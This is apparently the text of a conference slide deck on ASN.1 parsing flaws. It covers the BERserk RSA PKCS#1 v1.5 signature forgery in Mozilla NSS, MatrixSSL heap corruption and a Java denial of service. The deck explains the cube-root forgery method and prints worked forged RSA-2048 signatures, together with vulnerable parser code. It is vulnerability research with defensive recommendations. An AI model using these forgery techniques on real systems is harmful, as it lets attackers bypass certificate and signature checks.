ASN.1 parsing in crypto libraries: what could go wrong?

Andrew Furtak, Yuriy Bulygin, Alex Bazhaniuk
Agenda

- “BERserk” PKCS#1 v1.5 signature vulnerability
- Exploiting ASN.1 bugs remotely
- Conclusions / Recommendations
Bleichenbacher’s PKCS#1 v1.5 Vulnerability

def PKCS1v15_verify( hash, sig, pubkey ):
    # decrypt EM from signature using public key
    EM = pubkey.encrypt(sig, 0)[0]

    # check PS padding bytes 0xFF
    while ( (i < RSA_MODULUS_LEN) and (ord(EM[i]) == 0xFF) ):
        i += 1
    i += 1

    if i < 11: return SIGNATURE_VERIFICATION_FAILED

    T = EM[i:]
    T_size = len(T)
    (status,hash_from_EM,DI_size) = RSA_BER_Parse_DigestInfo(T,T_size)

    if PADDING_OK != status: return SIGNATURE_VERIFICATION_FAILED

    # Verifying message digest
    if (hash != hash_from_EM): return SIGNATURE_VERIFICATION_FAILED

    return SIGNATURE_VERIFICATION_PASSED
(status, hash_from_EM, DI_size) = RSA_BER_Parse_DigestInfo(T, T_size)
if PADDING_OK != status:
    return SIGNATURE_VERIFICATION_FAILED

HASH_LEN = len(hash)
if (T_size != (DI_size + HASH_LEN)):
    return SIGNATURE_VERIFICATION_FAILED

# Verifying message digest
if (hash != hash_from_EM):
    return SIGNATURE_VERIFICATION_FAILED

return SIGNATURE_VERIFICATION_PASSED
Wait! Parsing DigestInfo!? 

\[ \text{RSA\_BER\_Parse\_DigestInfo}( T, T\_size ) \]

Exactly why do you need to parse 19 (15, 18)-byte long string as ASN.1??

30 31 30 0d 06 09 60 86 48 01 65 03 04 02 01 05 00 04 20
BER/DER Encoding of ASN.1 Lengths

**BER Structure**

- Identifier/Tag octets
- Length octets
- Contents octets
- [End-of-contents octets]

**Length Field**

- Short or Long Length

**Short**: Length of ASN.1 element

**Long**: How many following octets describe the length of ASN.1 element (≤ 127)

Reference: ITU-T X.690 “Information technology - ASN.1 encoding rules: Specification of BER, CER and DER”
DER is BER with additional restrictions!

DER: *The definite form of length encoding shall be used, encoded in the minimum number of octets.*

Both examples below describe ASN.1 lengths of 9 bytes:

### Valid BER, Invalid DER

```
1 0 0 0 0 0 0 0 1
```

```
0 0 0 0 0 1 0 0 1
```

### Valid BER, Valid DER

```
0 0 0 0 1 0 0 0 1
```
Correct ASN.1 DigestInfo  (SHA-256)

30 31 30 0d 06 09 60 86 48 01 65 03 04 02 01 05 00 04 20 "XXXXXXXXXXXXXXXXXXXXXXXXXXXX"

Tag   Length
30 (SEQUENCE) 31

Tag   Length
30 (SEQUENCE) 0d

Tag   Length
06 (OID) 09

OID
60 86 48 01 65 03 04 02 01

Tag   Length
05 (NULL) 00

Tag   Length
04 (OCTET STRING) 20

octet string (SHA-256 hash)
"XXXXXXXXXXXXXXXXXXXXXXXXXXXX"
Vulnerable Implementation

Some crypto implementations would attempt to parse `DigestInfo` ASN.1 sequence as BER allowing long lengths of ASN.1 elements.

Vulnerable crypto implementations would skip some or all bytes of the length allowing up to 127 bytes of extra data.

The extra data can be used to find such signature without knowing private key that would pass validation.
## Malformed ASN.1 DigestInfo

```
30 31 30 0d 06 09 60 86 48 01 65 03 04 02 01 05 c3 .. garbage .. 04 ff .. garbage ..
```

<table>
<thead>
<tr>
<th>Tag</th>
<th>Length (long form)</th>
</tr>
</thead>
<tbody>
<tr>
<td>30 (SEQUENCE)</td>
<td>32</td>
</tr>
</tbody>
</table>

```
Tag                Length (long form)
30 (SEQUENCE)      0d
```

```
Tag        Length (long form)
06 (OID)    05
```

```
OID
60 86 48 01 65 03 04 02 01
```

```
Tag                Length (long form)
05 (NULL)          c3 (80|43) .. garbage ..
```

```
Tag        Length
04 (OCTET STRING) ff (80|7f) .. garbage ..
```

octet string (SHA-256 hash)
XXXXXXXXXXXXXXXXXXXXXXXXX
Adding Extra Data in DigestInfo

By shortening the padding and inserting long lengths adversary can add extra data in DigestInfo ASN.1 sequence

```
00 01 FF FF FF FF FF FF FF FF FF FF FF FF FF FF 00 30 31 30 0D 06 09
60 86 48 01 65 03 04 02 01 05 c3 .. .. .. ..
.. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..
.. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..
.. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..
.. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..
.. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..
.. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..
FF .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..
```

Correct PKCS#1 v1.5 with DER DigestInfo

```
00 01 FF FF FF FF FF FF FF FF FF FF FF FF FF FF 00 30 31 30 0D 06 09
60 86 48 01 65 03 04 02 01 05 c3 .. .. .. ..
.. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..
.. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..
.. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..
.. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..
.. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..
.. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..
FF .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..
```

Bad PKCS#1 v1.5: extra data in BER DigestInfo

```
00 01 FF FF FF FF FF FF FF FF FF FF FF FF FF FF 00 30 31 30 0D 06 09
60 86 48 01 65 03 04 02 01 05 c3 .. .. .. ..
.. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..
.. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..
.. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..
.. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..
.. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..
.. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..
FF .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..
```

“..” Describes extra “Garbage” data
Forging a Signature

Forged Encoded Message (EM’) = Prefix + Middle + Suffix

Middle part includes fixed octets surrounded by extra “garbage” data

- Length field(s) represent size of the new added data

Forged Signature S’ is such that EM’ = (S’)³

S’ is represented as (h+m+l) such that EM’ = (h+m+l)³

To find S’ adversary needs to find such high (h), middle (m) and low (l) parts of the signature
Calculating the Encoded Message

Prefix

Suffix

Middle
High, middle and low parts of the signature can be calculated independently to satisfy

\[ \text{Prefix} + \text{Middle} + \text{Suffix} = (h + m + l)^3 \]

Finding fixed octets in the middle part:

1. If fixed octets are adjacent to Prefix or Suffix parts, \( m \) can be solved as part of calculating Prefix or Suffix

2. If number of fixed octets is small, \( m \) can be found by exhaustive search (by incrementing bytes of \( m \) above \( l \))

3. \( m \) can be found by solving elements of cube of sum of all three parts of the signature which affect the Middle part of the cube
Forged Signature (S’)

00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00000050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00000060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00000070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00000080 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00000090 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000000a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000000b0 dc 79 05 58 3d 76 75 20 f5 16 40 75 91 76 d3 78
000000c0 26 f2 ef 63 b4 b4 00 00 00 00 00 00 00 00 00 00
000000d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000000e0 fa 9a e7 78 68 89 39 47 83 14 5e 11 91 a9 a4 ac
000000f0 bd 7b fc cb 4d a0 7e 9f fc 60 ad f2 4a c6 a1 cd
# Forged Encoded Message (EM’)

<table>
<thead>
<tr>
<th>Hexadecimal</th>
<th>00 01 ff ff ff ff ff ff ff ff 00 30 31 30 0d 06</th>
</tr>
</thead>
<tbody>
<tr>
<td>00000010</td>
<td>09 60 86 48 01 65 03 04 02 01 05 c3 68 9b 67 e3</td>
</tr>
<tr>
<td>00000020</td>
<td>6c 25 a4 a2 f3 23 2d 63 cf af 1a 19 f0 d4 a8 78</td>
</tr>
<tr>
<td>00000030</td>
<td>b9 bf b9 12 fd 1c 00 95 74 f1 1f ed 69 23 14 46</td>
</tr>
<tr>
<td>00000040</td>
<td>f6 c2 aa b2 21 54 7e ce 2f 18 8d 5f 45 bb d6 cd</td>
</tr>
<tr>
<td>00000050</td>
<td>ad 25 06 50 98 68 11 b9 2a a1 0b b8 ca 7d 59 04</td>
</tr>
<tr>
<td>00000060</td>
<td>ff 4f da 00 db 7f 2a c3 39 a0 ff ca ba ca 6f d8</td>
</tr>
<tr>
<td>00000070</td>
<td>a2 19 3f 6b 42 07 9d 11 58 fc 59 7d 51 d7 08 98</td>
</tr>
<tr>
<td>00000080</td>
<td>42 5a f8 92 16 ee 07 8b 5b 9a 6d c5 f8 00 80 d5</td>
</tr>
<tr>
<td>00000090</td>
<td>b1 a3 47 56 b2 dd c6 d6 5c 13 98 4d bf 03 ad b0</td>
</tr>
<tr>
<td>000000a0</td>
<td>32 f8 8b 4d 5b 40 b7 ef 8f fc 4d 6b e3 e1 bb 1f</td>
</tr>
<tr>
<td>000000b0</td>
<td>58 a8 a3 41 55 22 00 84 4c b0 eb 26 9f 64 a6 28</td>
</tr>
<tr>
<td>000000c0</td>
<td>4b a9 a5 62 a5 6a ae ef 00 f3 a9 d2 3d 6b f8 83</td>
</tr>
<tr>
<td>000000d0</td>
<td>2b e1 86 55 22 55 16 f4 3d 88 7c 74 b5 df a4 b2</td>
</tr>
<tr>
<td>000000e0</td>
<td>48 ac e9 b7 bc 30 cb 37 33 84 19 f7 71 6d 4e 9f</td>
</tr>
<tr>
<td>000000f0</td>
<td>50 aa 0a d2 a4 25 bc f3 8c 2a 11 66 9f 85 cf d5</td>
</tr>
</tbody>
</table>
A Case of Mozilla NSS

The issue in Mozilla NSS library was independently discovered and reported by Antoine Delignat-Lavaud (INRIA Paris, PROSECCO)
ASN.1 Decode in NSS

Mozilla NSS honestly & completely decodes DigestInfo as ASN.1 sequence according to sgn_DigestInfoTemplate template

```c
static SECStatus DecodeSequence(void* dest,
...
    do
    {
        ...
        rv = DecodeItem(dest, sequenceEntry, &sequence, arena, PR_TRUE);
        ...
    } while ( (SECSuccess == rv) &&
            (sequenceEntry->kind &&
             sequenceEntry->kind != SEC_ASN1_SKIP_REST) );

/* we should have consumed all the bytes in the sequence by now
   unless the caller doesn't care about the rest of the sequence */
if (SECSuccess == rv && sequence.len &&
    ...
    rv = SECFailure;
}
return rv;
```
How Many Bytes Can BER Length Have?

```c
static unsigned char* definite_length_decoder(const unsigned char *buf,
                                            const unsigned int length,
                                            unsigned int *data_length,
                                            PRBool includeTag)
{
    unsigned int data_len;
    ...
    data_len = buf[used_length++];
    if (data_len&0x80)
    {
        int len_count = data_len & 0x7f;
        data_len = 0;
        while (len_count-- > 0)
        {
            ...
            data_len = (data_len << 8) | buf[used_length++];
        }
    }
    ...
    *data_length = data_len;
    return (((unsigned char*)buf + (includeTag ? 0 : used_length)));
}
```

- `data_len` is an unsigned integer.
- `len_count` can be up to 127.
- What about other 123 bytes?
Malformed ASN.1 DigestInfo (SHA-1)

<table>
<thead>
<tr>
<th>Tag</th>
<th>Length (long form)</th>
</tr>
</thead>
<tbody>
<tr>
<td>30 (SEQUENCE)</td>
<td>db (80</td>
</tr>
<tr>
<td></td>
<td>30 ff .. garbage .. 00 00 00 09 06 05 2b 0e 03 02 1a 05 00 04 14 XXXXXXXXXXXX</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Tag</th>
<th>Length (long form)</th>
</tr>
</thead>
<tbody>
<tr>
<td>30 (SEQUENCE)</td>
<td>ff (80</td>
</tr>
<tr>
<td></td>
<td>06 (OID) 05 2b 0e 03 02 1a</td>
</tr>
<tr>
<td></td>
<td>05 (NULL) 00</td>
</tr>
<tr>
<td>04 (OCTET STRING)</td>
<td>14</td>
</tr>
<tr>
<td></td>
<td>octet string (the SHA1 hash) XXXXXXXXXXXX</td>
</tr>
</tbody>
</table>
Forging RSA-2048 in Mozilla NSS

6 bytes in the middle of EM’ are 000000EL30LL must have up to 127 bytes of garbage on both sides which defines a range where these 6 bytes can be placed

\[ EM'=(S')^3 = (h+m+1)^3 = (h+1)^3 + 3(h+1)^2m + 3(h+1)m^2 + m^3 \]

Only \((h+1)^3\) and \(3(h+1)m^2\) affect upper 6 bytes of the above range

\[ \Rightarrow m \text{ is found from these terms} \]
Forged RSA-2048 / SHA-1 Signature

Forged signature (S’)

0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
2853D660D0AE8E2
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
1195F4F8677641705A29EBDB3067E5F212ABFF010C999CBAB522DA0BCB588C5E93DD2B31F7C41

Decrypted signature (S’)^3

00010030DB4A92154840980EF454EE2431A72B63217028800000000000000000000000000000000000000
0000000000000000014F278C9885FD01CA0329882DE2961783078704C19385293E42956ED1E32AD0EE5CBCE0A74443AF5E8123A07000000A030FF3B8C0DC54EE667655405C4B357D467FC68517EA337E6FC70F76656068BB6CD5E41F24048F238132B3C681AAF6375A4506954EFB62EF7124B2FE365B497EA84C8E4AA137CA3B39DB693D0CCDD2E9ACD6EF240D3E751BD77D8BC5F2C4384235D7EC85F7B5DB7F8A48AF2EE6ED49F1B89E264C3D928C3E387D974E000000000906052B0E3021A050004143C03741AFCA732172F45829A0FD8D14B480CA4C1
Exploiting ASN.1 bugs remotely…
MatrixSSL remote memory corruption

parseGeneralNames is used while parsing X.509 certificates..

```c
case GN_OTHER:
    memcpy(activeName->name, "other", 5);
    /* OtherName ::= SEQUENCE {
        type-id OBJECT IDENTIFIER,
        value [0] EXPLICIT ANY DEFINED BY type-id }
    */
    save = p;
    ...
    if (*(*(p++)) != ASN_OID || getAsnLength(&p, (int32)(extEnd - p),
        &activeName->oidLen) < 0){
        psTraceCrypto("ASN parse error SAN otherName oid\n");
        return -1;
    }
    memcpy(activeName->oid, p, activeName->oidLen);
    p += activeName->oidLen;
```

Read length of OID of OtherName

activeName->oid is 32 char buffer on the heap
Oracle Java Remote DoS (CVE-2015-0410)

sun.security.util.DerInputStream contains indefinite lengths. It’s converted into DER stream with definite lengths.

```java
byte[] convert(byte[] indefData) throws IOException {
    data = indefData;
    dataPos=0; index=0;
    dataSize = data.length;
    int len=0;
    int unused = 0;

    // parse and set up the vectors of all the indefinite-lengths
    while (dataPos < dataSize) {
        parseTag();
        len = parseLength();
        parseValue(len);
        if (unresolved == 0) {
            unused = dataSize - dataPos;
            dataSize = dataPos;
            break;
        }
    }
}
```
Oracle Java Remote DoS (CVE-2015-0410)

parseLength can return negative length allowing remote attacker to craft certificate/signature which will cause parser to enter dead loop

```java
private int parseLength() throws IOException {
    int curLen = 0;
    if (dataPos == dataSize)
        return curLen;
    int lenByte = data[dataPos++] & 0xff;
    if (isIndefinite(lenByte)) {
        n defsList.add(new Integer(dataPos));
        unresolved++;
        return curLen;
    }
    if (isLongForm(lenByte)) {
        lenByte &= LEN_MASK;
        ...
        for (int i = 0; i < lenByte; i++)
            curLen = (curLen << 8) + (data[dataPos++] & 0xff);
    } else {
        curLen = (lenByte & LEN_MASK);
    }
    return curLen;
}
```
Issues when parsing ASN.1 lengths

- Integer overflow when calculating length value from a long length field
- Negative lengths of sequences are allowed
- Not limiting octets used in long length fields to a reasonable number (e.g. 4 vs all 127 octets)
- Leading 0's are allowed in the long length fields
- Expected values of short length octets are not verified
- Memory compare or copy operations are performed with lengths decoded from long length fields
What about ASN.1 Identifier Octets?

You though it was this?
No, that is too easy…

Figure 4 – Identifier octets (high tag number)

bits 7 to 1 of the first subsequent octet, followed by bits 7 to 1 of the second subsequent octet, followed in turn by bits 7 to 1 of each further octet, up to and including the last subsequent octet in the identifier octets shall be the encoding of an unsigned binary integer equal to the tag number, with bit 7 of the first subsequent octet as the most significant bit:
Issues when parsing ASN.1 identifiers

- **Identifiers** of the ASN.1 objects are not verified (e.g. just skipped)
- Incorrect parsing of *High Tags* ASN.1 objects which occupy multiple identifier octets similarly to long lengths
Conclusions / Recommendations

• ASN.1 parsing is extremely complex! How difficult should it be to parse a length??!!

• Incorrect parsing leads to signature bypass, remote code execution, memory disclosure or DoS …

• Make sure your library correctly parses long lengths and high tags

• Parsing DigestInfo as ASN.1 is just a bad idea. There are just a few DigestInfo sequences that implementations need to compare with

• Avoid creating overly generic standards which will require implementing complex parsing
References

Part 1: RSA signature forgery attack due to incorrect parsing of ASN.1 encoded DigestInfo in PKCS#1 v1.5

Part 2: Certificate Forgery in Mozilla NSS

ITU-T X.690 “Information technology - ASN.1 encoding rules: Specification of BER, CER and DER”